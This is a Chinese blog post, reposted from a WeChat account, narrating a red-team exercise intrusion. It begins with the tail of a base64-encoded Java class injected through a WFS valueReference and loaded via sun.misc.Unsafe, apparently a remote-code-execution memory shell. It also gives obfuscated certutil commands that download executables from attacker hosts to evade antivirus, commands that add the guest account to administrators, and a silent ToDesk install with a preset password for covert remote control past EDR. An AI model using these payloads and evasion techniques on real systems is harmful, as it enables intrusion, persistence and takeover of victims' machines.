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";var bt;try {    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);} catch (e) {    bt = java.util.Base64.getDecoder().decode(str);}var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");theUnsafe.setAccessible(true);unsafe = theUnsafe.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();')</wfs:valueReference></wfs:GetPropertyValue>

记一次hvv实例

左翻右翻,翻到了个好东西
记一次hvv实例连接成功。无法获取画面。但是其他的操作可进行
(tips:  最好不要用个人手机号连接)

记一次hvv实例

记一次hvv实例

原因:杀软和防火墙拦截,导致画面无法显示
记一次hvv实例
火绒可以试试certutil的变化轻松绕过,或者直接上传免杀马上线即可
copy c:windowssystem32certutil.exe a.exea.exe-urlcache-split-f http://192.168.xx.xx/xx.txt"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -a -f  http://x.x.x.x/dump2.exe  dump2.execer^t^u^til -url""""cache  -sp""""lit -a -f  http://x.x.x.x/dump2.exe  dump2.exe

记一次hvv实例

 0x02 
                                  绕过某服edr开启rdp

成功打点
记一次hvv实例

刚准备一顿操作whoami ipconfig,却发现迟迟没用反应,让我看看是什么傻逼杀软杀的这么厉害。深x服EDR+火绒

记一次hvv实例

直接免杀上线记一次hvv实例

既然加不了账号,那就只能激活guestnet localgroup administrators guest /addnet user guest xxxxxxxxx把guest加到管理员。修改为强口令。(有强度策略)

记一次hvv实例

记一次hvv实例

离个大谱。深x服终端防护。无法远程登录

记一次hvv实例

这里想到直接丢远控上去,反正是高权限

todesk使用4.7.2.1提前创建文件config.ini。文件内容如下。密码为063805位于C:Program FilesTodeskconfig.ini/S参数静默安装。

记一次hvv实例

记一次hvv实例

记一次hvv实例

但是执行后才想起来如果锁屏或者设置策略是需要管理员密码的,突然想到这不刚激活了guest,茅塞顿开,接下来的就开始愉快的多人运动了。

记一次hvv实例

 0x03
                                            小彩蛋
之前遇到过mimikatz读不到密码的问题,死活读不出来,网上各种办法都试过了,只能去找大佬

记一次hvv实例

记一次hvv实例

然后给了我一张截图,啊? 我看不明白啊!

记一次hvv实例

记一次hvv实例

有点小期待!

最后,传统功夫,点到为止记一次hvv实例

原文始发于微信公众号(安全的黑魔法):记一次hvv实例

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月31日15:35:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次hvv实例https://cn-sec.com/archives/3017080.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息